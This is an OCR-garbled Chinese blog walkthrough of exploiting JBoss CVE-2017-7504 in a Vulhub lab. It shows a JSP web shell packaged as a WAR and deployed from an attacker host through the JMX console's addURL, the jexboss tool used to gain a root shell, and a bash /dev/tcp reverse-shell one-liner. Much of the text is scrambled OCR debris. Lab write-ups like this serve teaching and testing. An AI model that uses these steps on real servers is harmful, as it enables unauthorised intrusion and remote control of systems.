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Terminal

fpm
ghostscript
git

2 git
contributors.md gitl: a 33
contributors.zh-cn.md gi Lib python
couchdb q s rails
= README . md
README.zh-cn.md
redis
hadoop Lni rsync
httpd ) Xpre ruby
i ick q alts
sticsearch inf mba
root@ubuntu: fhomefclearsky;vulhub# cd ]boqs
root@ubuntu ;homefcleaquyfvulhubf]boqq# 1s
CVE-2017-12149 CVE-2017-7504 JMXInvo ervliet-d ialization
root@ubuntu fhomefcleaquyfvulhubfjbosq# cd CVE-2017-7504
root@ubuntu: /home/clearsky/vulhub/jboss /CVE-2017-7504# 1s
1 docker-compose.yml README.md
L= root@ubuntu:/home/clearsky/vulhub/jboss /CVE-2017-7504# docker-compose up -d
Creating network "cve20177504 default" with the default dariver
Pulling jboss (wvulhub/jboss:as-4.0.5)...
as-4.8.5: Pulling from wvulhub/jboss
dbee35920883: Pull complete
a9ebd83b4a47: Pull complete
B2ef9e65a664: Pull complete
b2786dccbbcc: Pull complete
1b809e89f352: Pull complete
bf313a79ccc8: Pull complete
523524c34911: Pull complete
afcca67aas89: Pull complete
612b2bde4172: Pull complete
Digest: sha256:5a0dabalfe6d01d622058a0e4d0918f42ba9630aleffb46789%aeea7ffd3361c2
Status: Downloaded newer image for vulhub/jboss:as-4.0.5
Creating cve20177584_jboss_1
root@ubuntu: /home/clearsky/vulhub/jboss/CVE-2017-7504# ]
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. Welcome to JBoss™ X -

- C @ O & 192.168.0.104:8080 |

JBoss Online Resources

+ JBoss Documentation
* JBoss Wiki

* JBoss JIRA

* JBoss Forums


https://vulhub.org/#/environments/jboss/CVE-2017-7504/

JBoss Management

+ Tomcat status (full) (XML)
* JMX Console
+ JBoss Web Console

JBoss™ Application Server

e
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+  Welcome to JBoss™ X —+

& X @ O & 192.168.0.104:8080 B o QEx

@ 192.168.0.104:8080

UERtERETR,

AFaE

admin

https://blog.csdn.net/weixin_39190897

4. # N JBoss BHEHIE, WMTEAR:

‘. JBoss JMX Management Cor X = +
- C @ O & 192.168.0.104:8080/jmx-console/ B ¢ Qi

. ‘Boss JMX Agent View b209a7b09d5¢
o0

ObjectName Filter (e.g. "jboss:*", "*:service=invoker,*") :| |[AppIyFiIter]

Catalina

* type=Server
* type=StringCache

JMImplementation

» name=Default,service=LoaderRepository

* type=MBeanServerDelegate

jboss

database=localDB,service=Hypersonic
name=PropertyEditorManager,type=Service
name=SystemProperties,type=Service
readonly=true,service=zinvoker,target=Naming,type=http
servicesAtiributePersistenceService
service=ClientUserTransaction

service=JNDIView
servicesKeyGeneratorFactory,type=HiLo
service=KeyGeneratorFactory,type=UUID




* service=Mail

* service=sNaming

¢ service=TransactionManager

* service=WehService

¢ service=XidFactory

« servicesinvoker,target=Naming,type=http
¢ service=invoker,type=http

Fs IR H

1. £ Tk jboss.deployment 3 5 FH &5 R 1 -

&« C @ O & 192.168.0.104 8080/jmx-console/

+ service=InvalidationManager

jboss.console

+ sar=console-mgr.sar

jboss.deployer

+ service=BSHDeployer

jboss.deployment

« flavor=URL,type=DeploymentScanner

jboss.ejb

persistencePolicy=database,service=EJBTimerService
retryPolicy=fixedDelay,servicesEJBTimerService
servicesEJBDeployer

service=EJBTimerService

jboss.j2ee

2. EAMAMEREE, THEKE void addurL() , XH ParamValue ¥4 HEZEMR S LIRS HbE

&« C @@ O8 192.168.0.104:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployments 2 9y Q ==

void scan()

MBean Operation.

| Invoke |

void suspendDeployment()

MBean Operation.

ParamType ParamDescription

‘pl ‘java.net.URL U |‘(no description)

| Invoke |

void addURL()

MBean Operation.



' Y o
ParamType ParamDescription

‘pl ‘java.net.URL U I‘(no description)

| Tnvoke |

void addURL()

MBean Operation.

ParamType ParamDescription

‘pl ‘java.lang.String “ I‘(no description)
| Invoke |
void start()

MBean Operation.

3. EXBEAFEEFWAHIERS JSP KRG K War 18, FIFHKIEK JSP KD, HEWITMHS jar cvf shell.war shell.jsp K5
shell.war 314

shell.php shell.war

[ ubuntu [ Kali 2020

ey (=]

html- 3 EE
JHFF) 4wiB(E) HRE(V) #E

€« > 1A

B

B xcerzms
fiva

I root debian.html

index.html index.nginx- shell.war

= | Desktop
W

Apache2 Debian Default Page: It X ar /
- C @ O 8 1921680.102 B QEs

Apache2 Debian Default Page

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server

installed at this site is working properly. You should replace this file (located at /var/www
/html/index. html) before continuing to operate your HTTP server.

(>




that the site is currently unavailable due to maintenance. If the problem persists, please contact the

If you are a normal user of this web site and don't know what this page is about, this probably means
site's administrator.

5. %] JBoss ##|E& void addURL() BIAAKDHubE)E, i Invoke $%40:

void addURL()

MBean Operation.

ParamType ParamDescription

‘pl |java.net.URL 1192.168.0.102/shell.war | |(no description)
Invoke |  mmm—

void addURL()

MBean Operation.

R JE 2B EI 0T R :

&« C @® O 8 192.168.0.104:8080/jmx-console/HtmlAdaptor 2] oJde Qo

[ ®
‘Boss JMX MBean Operation Result adduRL ()

Back to Agent View Back to MBean View Reinvoke MBean Operation

Operation completed successfully without a return value.
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Directory Listing For /
Filename / Size Last Modified
0.5 kb Wed, 19 Aug 2020 02:22:26 GMT

shell. jsp

|JApache Tomcat/5.5.20
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he- http://192.168.0.104:8080/shell/shell.jsp - O X
URL: | http://192.168.0.104:8080/shell/shell jsp BiElE
HEAEE | it | Sl S EE | ANEE | KiEshell | $UEEREE | GENAB | Roz=E TEDR €5 FFHES
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2. #47JMX Console Z& L E .

& joaomatosf/ jexboss

<> Code Issues 26 Pull requests 2 Actions Projects Wiki Security Insights

¥ master ~ § 2 branches © 0tags Go to file Add file ~

ﬁ‘:“ joaomatosf * Added DNS gadget (to check for bugs in app with simple dns lookup).... ... 338b531 on 28 Mar 2017 %) 86 commits


https://github.com/joaomatosf/jexboss

screenshots * Added support for exploiting java deserialization in any HTTP POST ... 4 years ago

util Added files via upload 5 years ago
.gitignore Added Python 3 support and PEP 8 compatibility 5 years ago
LICENSE Create LICENSE 5 years ago
README.md * Add Cookies support on the Struts2 exploit (useful for testing inte... 4 years ago
_exploits.py * Added DNS gadget (to check for bugs in app with simple dns lookup).... 4 years ago
_updates.py * Added support for exploiting java deserialization in any HTTP POST ... 4 years ago
demo.png exemplo 7 years ago
jexboss.py * Added DNS gadget (to check for bugs in app with simple dns lockup).... 4 years ago
jexcsv.py Added Python 3 support and PEP 8 compatibility 5 years ago
requires.txt * Bug fix that always displays the message: "Packages urllib3 not ins... 5 years ago
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e JBoss NFERRSSEERA: 3. 4. 56,

o Z4Java 1EZR, FEFINFEEFRFR Java EFHLIRR (520, Java Server Faces - JSF, Seam fEZE, EF HTTP
A9 RMI. Jenkins CLI RCE (CVE-2015-5317). imf2 JMX (CVE-2016-3427. CVE-2016) -8735) %)

TEEER:

/ EEEHE
o 7F JBoss hfigAs 5 1 6 A1 T 1E
o Jimx B5l4
o {t JBoss hZAs 4. 5 #16 FMLAFAITIE
o /MEIEEHIG RS
o 7E JBoss kA 4. 5 F1 6 SFMAAIT/E
* /invoker/JMXInvokerServlet
o 1 JBoss higds 4. 5 #16 FiliA1LTIE
o NAERRFFIE
o JBT HTTP POST 23321~ Java NFEFER. FE&TEHHTMIEALIF
o Servlet REFIK
o JEITINBERFULRIZRAY serviet RIE Java MERR. FEEHHTUHMIIE (Fl0, SErrhsErER EH
2="07)
e Apache Struts2 CVE-2017-5638
o fF Apache Struts 2 i FEF2ERilli,
. Hith

REF M Jexboss WA T AN LRI IFF AT —8FI H 3R Shell,

1. FEHBARIFPATRN A4 python jexboss.py -u http://192.168.0.104:8080/ , 1T E:

B cmder

_updates : jexcsv.py README.md



_exploits.py demo.png jexboss_2021-06-20.log LICENSE reguires.txt

D:\Security\WehTools\jexbhoss
Alpython jexboss.py -u http://192.168.0.184:8088/

hitps://blog.csdn.netiweixin_39190897

2. T Ar4 R Hh LT 5 U B 1 R

IE] Cmder

A ls
/ _updates_py jexboss.py¥ jexcsv.py README.md
_exploits.py demo.png jexboss_2021-86-20.1og L ICENSE requires . txt

D:\Security\WebTools\jexboss
A python jexboss.py -u http://192.168.0.184:8088/
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3. ZEPITRESHHEAERE yesorno, &R yes, MIGIEZER:, K3 Shel, W TFER:

[ cmder

"o
If successful, this operation will provide a simple command shell to execute
commands on the server..

yes/NO? yes

Reverse Shell (like meterpreter =]), type the command:

jexremdte=YOUR_IP:YOUR_PORT
Shell>jexremote=192.168.0.10:4444

Shell>/bin/bash -i > fdev/tcp/192.168.0.10/4444 @>&1 2>&1

Linux bl@9a7b@9d5c 4.15.0-128-generic #131~16.04.1-Ubuntu SMP Wed Dec 9 17:33:47 UTC 2020 x86_64 GNU/Linux
' Debian GNU/Linux 8 \
\\1

' Failed| to check for updates
uid=8(roo1) gid=0(root) groups=0(root)

Shell> whoami
root

Shell> pwd
/

Shell> |
!! python.exe
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